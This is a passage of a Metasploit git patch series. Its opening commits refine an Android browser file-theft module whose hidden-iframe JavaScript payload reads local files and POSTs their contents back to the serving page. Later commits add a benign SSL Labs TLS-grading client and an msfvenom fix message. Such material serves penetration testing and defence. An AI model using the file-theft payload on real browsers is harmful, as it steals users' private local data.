top.postMessage({data:x.responseText,url:location.href}, String.fromCharCode(42));'+ + 'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.responseType=String.fromCharCode(97,'+ + '114,114,97,121,98,117,102,102,101,114);x.send();x.onload=function(){window.onerror=alert;'+ + 'var buff = new Uint8Array(x.response);var hex = Array.prototype.map.call(buff, function(d)'+ + '{var c = d.toString(16);return (c.length < 2) ? 0+c : c;}).join(new String); top.postMessa'+ + 'ge({data:hex,url:location.href}, String.fromCharCode(42));'+ 'parent.postMessage(1,String.fromCharCode(42));};x.onerror=function(){parent.postMessage(1,S'+ 'tring.fromCharCode(42))};";f.contentWindow.location = "";};document.body.appendChild(f);}catch(e){t();}});t();'; brokenFrame.contentWindow.location = ""; @@ -136,4 +140,9 @@ class Metasploit3 < Msf::Auxiliary | end + # TODO: Make this a proper Rex::Text function + def hex2bin(hex) + hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join + end + end From 3c5d7b3ef075c37ca7fdc6155a2fd10c7528aca0 Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 5 Mar 2015 23:25:37 -0600 Subject: [PATCH 11/92] Okay, putting source code in a quoted string is horrible. --- .../gather/android_browser_file_theft.rb | 62 ++++++++++++++----- 1 file changed, 48 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 1a3befc180..1ccc8b026a 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -110,32 +110,66 @@ class Metasploit3 < Msf::Auxiliary def exploit_js js_obfuscate %Q| - window.onmessage = function(e) { var x = new XMLHttpRequest; x.open("POST", location.href); x.send(JSON.stringify(e.data)) }; + + function xss() { + var urls = (#{JSON.generate(file_urls)}); + function tick() { + setTimeout(function() { next(urls.shift()); }); + }; + window.onmessage = tick; + + function next(url) { + if (!url) return; + try { + var f = document.createElement('iframe'); + f.src = url; + f.onload = function() { + f.onload = null; + function nested() { + var x = new XMLHttpRequest; + x.open('GET', location.href); + x.responseType = 'arraybuffer'; + x.send(); + x.onload = function() { + var buff = new Uint8Array(x.response); + var hex = Array.prototype.map.call(buff, function(d) { + var c = d.toString(16); + return (c.length < 2) ? 0+c : c; + }).join(new String); + if (hex.length && hex.substring(0,8)==='53514c69') { + top.postMessage({data:hex,url:location.href}, '*'); + } + parent.postMessage(1,'*'); + }; + x.onerror = function() { + parent.postMessage(1,'*'); + }; + } + document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()'; + f.contentWindow.location = ""; + }; + document.body.appendChild(f); + } catch(e) {t();} + }; + + tick(); + + } + var brokenFrame = document.createElement('iframe'); brokenFrame.src = 'http://localhost:100'; - brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;') + //brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;') brokenFrame.onload = function() { brokenFrame.onload = null; - document.documentURI = 'javascript://hostname.com/%0D%0Aurls=(#{JSON.generate(file_urls)});'+ - 'var t=function(){setTimeout(function(){next(urls.shift());},1)};window.onmessage=t;'+ - 'var next=(function(url){if(!url)return;try{var f = document.createElement("iframe");f.src=url;f.onload=f'+ - 'unction(){f.onload=null;document.documentURI="javascript://hostname.com/%250D%250Ax=new '+ - 'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.responseType=String.fromCharCode(97,'+ - '114,114,97,121,98,117,102,102,101,114);x.send();x.onload=function(){window.onerror=alert;'+ - 'var buff = new Uint8Array(x.response);var hex = Array.prototype.map.call(buff, function(d)'+ - '{var c = d.toString(16);return (c.length < 2) ? 0+c : c;}).join(new String); top.postMessa'+ - 'ge({data:hex,url:location.href}, String.fromCharCode(42));'+ - 'parent.postMessage(1,String.fromCharCode(42));};x.onerror=function(){parent.postMessage(1,S'+ - 'tring.fromCharCode(42))};";f.contentWindow.location = "";};document.body.appendChild(f);}catch(e){t();}});t();'; + document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()'; brokenFrame.contentWindow.location = ""; }; - document.body.appendChild(brokenFrame); | end From 7db3277731f067f6985bfa0c63cc489bf6652711 Mon Sep 17 00:00:00 2001 From: joev Date: Thu, 5 Mar 2015 23:52:29 -0600 Subject: [PATCH 12/92] Actually hide the iframe. --- modules/auxiliary/gather/android_browser_file_theft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 1ccc8b026a..3c7143e28e 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary var brokenFrame = document.createElement('iframe'); brokenFrame.src = 'http://localhost:100'; - //brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;') + brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;') brokenFrame.onload = function() { brokenFrame.onload = null; document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()'; From 3fb4fbe8e677f1253cb87107c54c2d6e4bfd8cfb Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 6 Mar 2015 00:01:31 -0600 Subject: [PATCH 13/92] Add 'not allowed' check instead of magic check. --- modules/auxiliary/gather/android_browser_file_theft.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 3c7143e28e..494fd191ce 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -142,7 +142,8 @@ class Metasploit3 < Msf::Auxiliary var c = d.toString(16); return (c.length < 2) ? 0+c : c; }).join(new String); - if (hex.length && hex.substring(0,8)==='53514c69') { + /*ensures there are no 'not allowed' responses that appear to be valid data*/ + if (hex.length && hex.indexOf('3c68746d6c3e3c626f64793e6e6f7420616c6c6f7765643c2f626f64793e3c2f68746d6c3e') == '-1') { top.postMessage({data:hex,url:location.href}, '*'); } parent.postMessage(1,'*'); From fefd4e271a6a09cdd8af34d03788cb800e59f03d Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 6 Mar 2015 12:16:03 -0600 Subject: [PATCH 14/92] Don't hardcode the hex. --- modules/auxiliary/gather/android_browser_file_theft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 494fd191ce..2fd2e54bb8 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary return (c.length < 2) ? 0+c : c; }).join(new String); /*ensures there are no 'not allowed' responses that appear to be valid data*/ - if (hex.length && hex.indexOf('3c68746d6c3e3c626f64793e6e6f7420616c6c6f7765643c2f626f64793e3c2f68746d6c3e') == '-1') { + if (hex.length && hex.indexOf('#{Rex::Text.to_hex("not allowed","")}') == '-1') { top.postMessage({data:hex,url:location.href}, '*'); } parent.postMessage(1,'*'); From ccd0712d43cfc0d6c063baae3df1ac243ff6f0b5 Mon Sep 17 00:00:00 2001 From: joev Date: Fri, 6 Mar 2015 12:29:34 -0600 Subject: [PATCH 15/92] Use ===, doh. --- modules/auxiliary/gather/android_browser_file_theft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 2fd2e54bb8..56fd61a810 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary return (c.length < 2) ? 0+c : c; }).join(new String); /*ensures there are no 'not allowed' responses that appear to be valid data*/ - if (hex.length && hex.indexOf('#{Rex::Text.to_hex("not allowed","")}') == '-1') { + if (hex.length && hex.indexOf('#{Rex::Text.to_hex("not allowed","")}') === -1) { top.postMessage({data:hex,url:location.href}, '*'); } parent.postMessage(1,'*'); From 3515a0a71ff8c5de47e8737b41bf4e48b6b59db9 Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Fri, 27 Mar 2015 07:34:11 -0400 Subject: [PATCH 16/92] Initial commit for supporting SSL Labs API --- modules/auxiliary/gather/ssllabs_scan.rb | 764 +++++++++++++++++++++++ 1 file changed, 764 insertions(+) create mode 100644 modules/auxiliary/gather/ssllabs_scan.rb diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb new file mode 100644 index 0000000000..9de3309011 --- /dev/null +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -0,0 +1,764 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'active_support/inflector' +require 'json' +require 'active_support/core_ext/hash' + +class Metasploit3 < Msf::Auxiliary + class InvocationError < StandardError; end + class RequestRateTooHigh < StandardError; end + class InternalError < StandardError; end + class ServiceNotAvailable < StandardError; end + class ServiceOverloaded < StandardError; end + + class Api + attr_reader :max_assessments, :current_assessments + + def initialize + @max_assessments = 0 + @current_assessments = 0 + end + + def request(name, params = {}) + api_host = "api.ssllabs.com" + api_port = "443" + api_path = "/api/v2/" + user_agent = "Msf_ssllabs_scan" + + name = name.to_s.camelize(:lower) + uri = api_path + name + cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS1') + cli.connect + req = cli.request_cgi({ + 'uri' => uri, + 'agent' => user_agent, + 'method' => 'GET', + 'vars_get' => params + }) + res = cli.send_recv(req) + cli.close + + if res && res.code.to_i == 200 + @max_assessments = res.headers['X-Max-Assessments'] + @current_assessments = res.headers['X-Current-Assessments'] + r = JSON.load(res.body) + fail InvocationError, "API returned: #{r['errors']}" if r.key?('errors') + return r + end + + case res.code.to_i + when 400 + fail InvocationError, "invalid parameters" + when 429 + fail RequestRateTooHigh, "request rate is too high, please slow down" + when 500 + fail InternalError, "service encountered an error, sleep 5 minutes" + when 503 + fail ServiceNotAvailable, "service is not available, sleep 15 minutes" + when 529 + fail ServiceOverloaded, "service is overloaded, sleep 30 minutes" + else + fail StandardError, "http error code #{r.code}" + end + end + + def info + Info.load request(:info) + end + + def analyse(params = {}) + Host.load request(:analyze, params) + end + + def get_endpoint_data(params = {}) + Endpoint.load request(:get_endpoint_data, params) + end + + def get_status_codes + StatusCodes.load request(:get_status_codes) + end + end + + class ApiObject + + class << self; + attr_accessor :all_attributes + attr_accessor :fields + attr_accessor :lists + attr_accessor :refs + end + + def self.inherited(base) + base.all_attributes = [] + base.fields = [] + base.lists = {} + base.refs = {} + end + + def self.to_api_name(name) + name.to_s.gsub(/\?$/, '').camelize(:lower) + end + + def self.to_attr_name(name) + name.to_s.gsub(/\?$/, '').underscore + end + + def self.field_methods(name) + is_bool = name.to_s.end_with?('?') + attr_name = to_attr_name(name) + api_name = to_api_name(name) + class_eval <<-EOF, __FILE__, __LINE__ + def #{attr_name}#{'?' if is_bool} + @#{api_name} + end + def #{attr_name}=(value) + @#{api_name} = value + end + EOF + end + + def self.has_fields(*names) + names.each do |name| + @all_attributes << to_api_name(name) + @fields << to_api_name(name) + field_methods(name) + end + end + + def self.has_objects_list(name, klass) + @all_attributes << to_api_name(name) + @lists[to_api_name(name)] = klass + field_methods(name) + end + + def self.has_object_ref(name, klass) + @all_attributes << to_api_name(name) + @refs[to_api_name(name)] = klass + field_methods(name) + end + + def self.load(attributes = {}) + obj = self.new + attributes.each do |name, value| + if @fields.include?(name) + obj.instance_variable_set("@#{name}", value) + elsif @lists.key?(name) + obj.instance_variable_set("@#{name}", value.map { |v| @lists[name].load(v) }) unless value.nil? + elsif @refs.key?(name) + obj.instance_variable_set("@#{name}", @refs[name].load(value)) unless value.nil? + else + fail ArgumentError, "#{name} is not an attribute of object #{self.name}" + end + end + obj + end + + def to_json(opts = {}) + obj = {} + self.class.all_attributes.each do |api_name| + v = instance_variable_get("@#{api_name}") + obj[api_name] = v + end + obj.to_json + end + end + + class Cert < ApiObject + has_fields :subject, + :commonNames, + :altNames, + :notBefore, + :notAfter, + :issuerSubject, + :sigAlg, + :issuerLabel, + :revocationInfo, + :crlURIs, + :ocspURIs, + :revocationStatus, + :sgc?, + :validationType, + :issues + + def valid? + issues == 0 + end + + def invalid? + !valid? + end + end + + class ChainCert < ApiObject + has_fields :subject, + :label, + :issuerSubject, + :issuerLabel, + :issues, + :raw + + def valid? + issues == 0 + end + + def invalid? + !valid? + end + end + + class Chain < ApiObject + has_objects_list :certs, ChainCert + has_fields :subject, + :label, + :issuerSubject, + :issuerLabel, + :issues, + :raw + + def valid? + issues == 0 + end + + def invalid? + !valid? + end + end + + class Key < ApiObject + has_fields :size, + :strength, + :alg, + :debianFlaw?, + :q + + def insecure? + debian_flaw? || q == 0 + end + + def secure? + !insecure? + end + end + + class Protocol < ApiObject + has_fields :id, + :name, + :version, + :v2SuitesDisabled?, + :q + + def insecure? + q == 0 + end + + def secure? + !insecure? + end + + end + + class Info < ApiObject + has_fields :engineVersion, + :criteriaVersion, + :clientMaxAssessments, + :maxAssessments, + :currentAssessments, + :messages + end + + class SimClient < ApiObject + has_fields :id, + :name, + :platform, + :version, + :isReference? + end + + class Simulation < ApiObject + has_object_ref :client, SimClient + has_fields :errorCode, + :attempts, + :protocolId, + :suiteId + + def success? + error_code == 0 + end + + def error? + !success? + end + end + + class SimDetails < ApiObject + has_objects_list :results, Simulation + end + + class StatusCodes < ApiObject + has_fields :statusDetails + + def [](name) + status_details[name] + end + end + + class Suite < ApiObject + has_fields :id, + :name, + :cipherStrength, + :dhStrength, + :dhP, + :dhG, + :dhYs, + :ecdhBits, + :ecdhStrength, + :q + + def insecure? + q == 0 + end + + def secure? + !insecure? + end + end + + class Suites < ApiObject + has_objects_list :list, Suite + has_fields :preference? + end + + class EndpointDetails < ApiObject + has_fields :hostStartTime + has_object_ref :key, Key + has_object_ref :cert, Cert + has_object_ref :chain, Chain + has_objects_list :protocols, Protocol + has_object_ref :suites, Suites + has_fields :serverSignature, + :prefixDelegation?, + :nonPrefixDelegation?, + :vulnBeast?, + :renegSupport, + :stsResponseHeader, + :stsMaxAge, + :stsSubdomains?, + :pkpResponseHeader, + :sessionResumption, + :compressionMethods, + :supportsNpn?, + :npnProtocols, + :sessionTickets, + :ocspStapling?, + :sniRequired?, + :httpStatusCode, + :httpForwarding, + :supportsRc4?, + :forwardSecrecy, + :rc4WithModern? + has_object_ref :sims, SimDetails + has_fields :heartbleed?, + :heartbeat?, + :openSslCcs, + :poodleTls, + :fallbackScsv? + end + + class Endpoint < ApiObject + has_fields :ipAddress, + :serverName, + :statusMessage, + :statusDetails, + :statusDetailsMessage, + :grade, + :hasWarnings?, + :isExceptional?, + :progress, + :duration, + :eta, + :delegation + has_object_ref :details, EndpointDetails + end + + class Host < ApiObject + has_fields :host, + :port, + :protocol, + :isPublic?, + :status, + :statusMessage, + :startTime, + :testTime, + :engineVersion, + :criteriaVersion, + :cacheExpiryTime + has_objects_list :endpoints, Endpoint + has_fields :certHostnames + end + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SSL Labs API Client', + 'Description' => %q{ + This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessmen during a penetration testing. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Denis Kolegov ', + 'Francois Chagnon' # ssllab.rb author (https://github.com/Shopify/ssllabs.rb) + ], + 'DefaultOptions' => + { + 'RPORT' => 443, + 'SSL' => true, + 'SSLVersion' => 'TLS1' + } + )) + register_options( + [ + OptString.new('HOSTNAME', [true, 'The target hostname']), + OptInt.new('DELAY', [true, 'The delay in seconds between API requests', 5]), + OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', 'true']), + OptBool.new('GRADE', [true, 'Output only the hostname: grade', 'false']), + OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', 'true']) + ], self.class) + end + + def contain?(dictionary, b) + end + + def output_endpoint_data(r) + ssl_protocols = [ + {id: 771, name: "TLS", version: "1.2", secure: true, active: false}, + {id: 770, name: "TLS", version: "1.1", secure: true, active: false}, + {id: 769, name: "TLS", version: "1.0", secure: true, active: false}, + {id: 768, name: "SSL", version: "3.0", secure: false, active: false}, + {id: 2, name: "SSL", version: "2.0", secure: false, active: false} + ] + + puts "-----------------------------------------------------------------\n" + print_status "Report for #{r.server_name} (#{r.ip_address})" + puts "-----------------------------------------------------------------\n" + + case r.grade.to_s + when "A+", "A", "A-" + print_good "Overal rating: #{r.grade}" + when "B" + print_warning "Overal rating: #{r.grade}" + when "C", "D", "E", "F" + print_error "Overal rating: #{r.grade}" + when "M" + print_error "Overal rating: #{r.grade} - Certificate name mismatch" + when "T" + print_error "Overal rating: #{r.grade} - Server's certificate is not trusted" + end + + # Supported protocols + r.details.protocols.each do |i| + p = ssl_protocols.detect {|x| x[:id] == i.id } + p.store(:active, true) if p + end + + ssl_protocols.each do |proto| + if proto[:active] + if proto[:secure] + print_good "#{proto[:name]} #{proto[:version]} - Yes" + elsif + print_error "#{proto[:name]} #{proto[:version]} - Yes" + end + else + print_status "#{proto[:name]} #{proto[:version]} - No" + end + end + + # Renegotioation + case + when r.details.reneg_support == 0 + print_warning "Secure renegotiation is not supported" + when r.details.reneg_support[0] == 1 + print_error "Insecure client-initiated renegotiation is supported" + when r.details.reneg_support[1] == 1 + print_good "Secure renegotiation is supported" + when r.details.reneg_support[2] == 1 + print_warning "Secure client-initiated renegotiation is supported" + when r.details.reneg_support[3] == 1 + print_warning "Server requires secure renegotiation support" + end + + # BEAST + if r.details.vuln_beast? + print_error "BEAST attack - Yes" + else + print_good "BEAST attack - No" + end + + # puts "POODLE (SSLv3)- ?" + + # POODLE TLS + case r.details.poodle_tls + when -1 + print_warning "POODLE TLS - Test failed" + when 0 + print_warning "POODLE TLS - Unknown" + when 1 + print_good "POODLE TLS - No" + when 2 + print_error "POODLE TLS - Yes" + end + + # Downgrade attack prevention + if r.details.fallback_scsv? + print_good "Downgrade attack prevention - Yes" + else + print_error "Downgrade attack prevention - No" + end + + # RC4 + if r.details.supports_rc4? + print_warning "RC4 - Server supports at least one RC4 suite" + else + print_good "RC4 - No" + end + + # RC4 with modern browsers + print_warning "RC4 is used with modern clients" if r.details.rc4_with_modern? + + # Heartbeat + if r.details.heartbeat? + print_status "Heartbeat (extension) - Yes" + else + print_status "Heartbeat (extension) - No" + end + + # Heartbleed + if r.details.heartbleed? + print_error "Heartbleed (vulnerability) - Yes" + else + print_good "Heartbeat (vulnerability) - No" + end + + # OpenSSL CCS + case r.details.open_ssl_ccs + when -1 + print_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed" + when 0 + print_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown" + when 1 + print_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No" + when 2 + print_error "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable" + when 3 + print_error "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable" + end + + # Forward Secrecy + case + when r.details.forward_secrecy == 0 + print_error "Forward Secrecy - No" + when r.details.forward_secrecy[0] == 1 + print_error "Forward Secrecy - With some browsers" + when r.details.forward_secrecy[1] == 1 + print_good "Forward Secrecy - With modern browsers" + when r.details.forward_secrecy[2] == 1 + print_good "Forward Secrecy - Yes (with most browsers)" + end + + # HSTS + if r.details.sts_response_header + str = "Strict Transport Security (HSTS) - Yes" + if r.details.sts_max_age && r.details.sts_max_age != -1 + str += ":max-age=#{r.details.sts_max_age}" + end + str += ":includeSubdomains" if r.details.sts_subdomains? + print_good str + else + print_error "Strict Transport Security (HSTS) - No" + end + + # HPKP + if r.details.pkp_response_header + print_good "Public Key Pinning (HPKP) - Yes" + else + print_warning "Public Key Pinning (HPKP) - No" + end + + # Compression + if r.details.compression_methods == 0 + print_good "Compression - No" + elsif (r.details.session_tickets & 1) != 0 + print_warning "Compression - Yes (Deflate)" + end + + # Session Resumption + case r.details.session_resumption + when 0 + print_status "Session resumption - No" + when 1 + print_warning "Session resumption - No (IDs assigned but not accepted)" + when 2 + print_status "Session resumption - Yes" + end + + # Session Tickets + case + when r.details.session_tickets == 0 + print_status "Session tickets - No" + when r.details.session_tickets[0] == 1 + print_status "Session tickets - Yes" + when r.details.session_tickets[1] == 1 + print_good "Session tickets - Implementation is faulty" + when r.details.session_tickets[2] == 1 + print_warning "Session tickets - Server is intolerant to the extension" + end + + # OCSP stapling + if r.details.ocsp_stapling? + print_status "OCSP Stapling - Yes" + else + print_status "OCSP Stapling - No" + end + + # NPN + if r.details.supports_npn? + print_status "Next Protocol Negotiation (NPN) - Yes (#{r.details.npn_protocols})" + else + print_status "Next Protocol Negotiation (NPN) - No" + end + + # SNI + print_status "SNI Required - Yes" if r.details.sni_required? + end + + def output_grades_only(r) + r.endpoints.each do |e| + if e.status_message == "Ready" + print_status "Server: #{e.server_name} (#{e.ip_address}) - Grade:#{e.grade}" + else + print_status "Server: #{e.server_name} (#{e.ip_address} - Status:#{e.status_message}" + end + end + end + + def output_common_info(r) + return unless r + print_status "Host: #{r.host}" + + r.endpoints.each do |e| + puts "\t #{e.ip_address}\n" + end + end + + def output_result(r, grade) + return unless r + output_common_info(r) + if grade + output_grades_only(r) + else + r.endpoints.each do |e| + if e.status_message == "Ready" + output_endpoint_data(e) + else + print_status "#{e.status_message}" + end + end + end + end + + def output_testing_details(r) + return unless r.status == "IN_PROGRESS" + + if r.endpoints.length == 1 + print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{r.endpoints[0].progress}% (#{r.endpoints[0].status_details_message})" + elsif r.endpoints.length > 1 + in_progress_srv_num = 0 + ready_srv_num = 0 + pending_srv_num = 0 + r.endpoints.each do |e| + case e.status_message.to_s + when "In progress" + in_progress_srv_num += 1 + print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{e.progress}% complete (#{e.status_details_message})" + when "Pending" + pending_srv_num += 1 + when "Ready" + ready_srv_num += 1 + end + end + progress = ((ready_srv_num.to_f / (pending_srv_num + in_progress_srv_num + ready_srv_num)) * 100.0).round(0) + print_status "Ready: #{ready_srv_num}, In progress: #{in_progress_srv_num}, Pending: #{pending_srv_num}" + print_status "#{r.host} - Progress #{progress}%" + end + end + + def valid_hostname?(hostname) + hostname =~ /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/ + end + + def run + delay = datastore['DELAY'] + + hostname = datastore['HOSTNAME'] + unless valid_hostname?(hostname) + print_status "Invalid hostname" + return + end + + usecache = datastore['USECACHE'] + grade = datastore['GRADE'] + + # Use cached results + if usecache + from_cache = 'on' + start_new = 'off' + else + from_cache = 'off' + start_new = 'on' + end + + # Ignore mismatch + ignore_mismatch = datastore['IGNOREMISMATCH'] ? 'on' : 'off' + + api = Api.new + info = api.info + print_status "SSL Labs API info" + print_status "API version: #{info.engine_version}" + print_status "Evaluation criteria: #{info.criteria_version}" + print_status "Running assessments: #{info.current_assessments} (max #{info.max_assessments})" + + if api.current_assessments >= api.max_assessments + print_status "Too many active assessments" + return + end + + if usecache + r = api.analyse(host: hostname, fromCache: from_cache, ignoreMismatch: ignore_mismatch, all: 'done') + else + r = api.analyse(host: hostname, startNew: start_new, ignoreMismatch: ignore_mismatch, all: 'done') + end + + loop do + case r.status + when "DNS" + print_status "Server: #{r.host} - #{r.status_message}" + when "IN_PROGRESS" + output_testing_details(r) + when "READY" + output_result(r, grade) + return + when "ERROR" + print_error "#{r.status_message}" + return + else + print_error "Unknown assessment status" + return + end + sleep delay + r = api.analyse(host: hostname, all: 'done') + end + end +end From 45f8738cfe4d296733fd26802372b8a0d2806841 Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Fri, 27 Mar 2015 07:53:59 -0400 Subject: [PATCH 17/92] Fix stdout errors --- modules/auxiliary/gather/ssllabs_scan.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 9de3309011..5d7cc67056 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -441,9 +441,9 @@ class Metasploit3 < Msf::Auxiliary {id: 2, name: "SSL", version: "2.0", secure: false, active: false} ] - puts "-----------------------------------------------------------------\n" + print_status "-----------------------------------------------------------------" print_status "Report for #{r.server_name} (#{r.ip_address})" - puts "-----------------------------------------------------------------\n" + print_status "-----------------------------------------------------------------" case r.grade.to_s when "A+", "A", "A-" @@ -649,7 +649,7 @@ class Metasploit3 < Msf::Auxiliary print_status "Host: #{r.host}" r.endpoints.each do |e| - puts "\t #{e.ip_address}\n" + print_status "\t #{e.ip_address}\n" end end From 9d78aa96d9b5288cb55b93a9b4f73cc58ff2fb9d Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Mon, 30 Mar 2015 02:42:09 -0400 Subject: [PATCH 18/92] Add output of API errors to console --- modules/auxiliary/gather/ssllabs_scan.rb | 42 ++++++++++++++---------- 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 5d7cc67056..b0a4540b52 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -52,17 +52,17 @@ class Metasploit3 < Msf::Auxiliary case res.code.to_i when 400 - fail InvocationError, "invalid parameters" + fail InvocationError when 429 - fail RequestRateTooHigh, "request rate is too high, please slow down" + fail RequestRateTooHigh when 500 - fail InternalError, "service encountered an error, sleep 5 minutes" + fail InternalError when 503 - fail ServiceNotAvailable, "service is not available, sleep 15 minutes" + fail ServiceNotAvailable when 529 - fail ServiceOverloaded, "service is overloaded, sleep 30 minutes" + fail ServiceOverloaded else - fail StandardError, "http error code #{r.code}" + fail StandardError, "HTTP error code #{r.code}", caller end end @@ -429,16 +429,13 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def contain?(dictionary, b) - end - def output_endpoint_data(r) ssl_protocols = [ - {id: 771, name: "TLS", version: "1.2", secure: true, active: false}, - {id: 770, name: "TLS", version: "1.1", secure: true, active: false}, - {id: 769, name: "TLS", version: "1.0", secure: true, active: false}, - {id: 768, name: "SSL", version: "3.0", secure: false, active: false}, - {id: 2, name: "SSL", version: "2.0", secure: false, active: false} + { id: 771, name: "TLS", version: "1.2", secure: true, active: false }, + { id: 770, name: "TLS", version: "1.1", secure: true, active: false }, + { id: 769, name: "TLS", version: "1.0", secure: true, active: false }, + { id: 768, name: "SSL", version: "3.0", secure: false, active: false }, + { id: 2, name: "SSL", version: "2.0", secure: false, active: false } ] print_status "-----------------------------------------------------------------" @@ -447,7 +444,7 @@ class Metasploit3 < Msf::Auxiliary case r.grade.to_s when "A+", "A", "A-" - print_good "Overal rating: #{r.grade}" + print_good "Overal rating: #{r.grade}" when "B" print_warning "Overal rating: #{r.grade}" when "C", "D", "E", "F" @@ -460,7 +457,7 @@ class Metasploit3 < Msf::Auxiliary # Supported protocols r.details.protocols.each do |i| - p = ssl_protocols.detect {|x| x[:id] == i.id } + p = ssl_protocols.detect { |x| x[:id] == i.id } p.store(:active, true) if p end @@ -468,7 +465,7 @@ class Metasploit3 < Msf::Auxiliary if proto[:active] if proto[:secure] print_good "#{proto[:name]} #{proto[:version]} - Yes" - elsif + else print_error "#{proto[:name]} #{proto[:version]} - Yes" end else @@ -760,5 +757,16 @@ class Metasploit3 < Msf::Auxiliary sleep delay r = api.analyse(host: hostname, all: 'done') end + + rescue + print_error "Invalid parameters" + rescue RequestRateTooHigh + print_error "Request rate is too high, please slow down" + rescue InternalError + print_error "Service encountered an error, sleep 5 minutes" + rescue ServiceNotAvailable + print_error "Service is not available, sleep 15 minutes" + rescue ServiceOverloaded + print_error "Service is overloaded, sleep 30 minutes" end end From 56793d11c89ed0469ededb0361c730bcb404b74c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 9 Apr 2015 16:01:11 -0500 Subject: [PATCH 19/92] Fix #4866, msfvenom not properly handling platform & arch This fixes #4866, an issue with msfvenom not properly handling special cases with generic payloads. So the story behind this fix is that we have these two problems: Problem 1: The current payload selection design relies on the payload module in order to set the platform and arch. Almost all MSF payloads contain a default platform and arch, however, the bind and reverse generic payloads don't. Problem 2: By default, Msf::Payload::Generic also explicitly sets the PLATFORM and ARCH datastore options to nil. So there is no way the payload generator can figure out what platform and arch to use. As a result of these problems, msfvenom will actually end up getting a Msf::Module::Platform as the default platform, which doesn't actually represent any valid platform we can use (such as Msf::Module::Platform::Windows). And the first item of ARCH_ALL for the arch. In addition, msfvenom has these two arguments that the user can use: --platform and --arch. In most cases, these arguments are used more like checks than actually setting anything. Because remember: Framework's payload selector retreives the platform & arch from the module (trusted), not the user input (untrusted). But from the user's perspective it's impossible to know this. After experimenting different ways to fix this, I came up with this patch. It feels sort of more like a hack than a real fix, but as far as I can tell, this is the best you can get unless you want to redesign generic payload selection. --- lib/msf/core/payload_generator.rb | 16 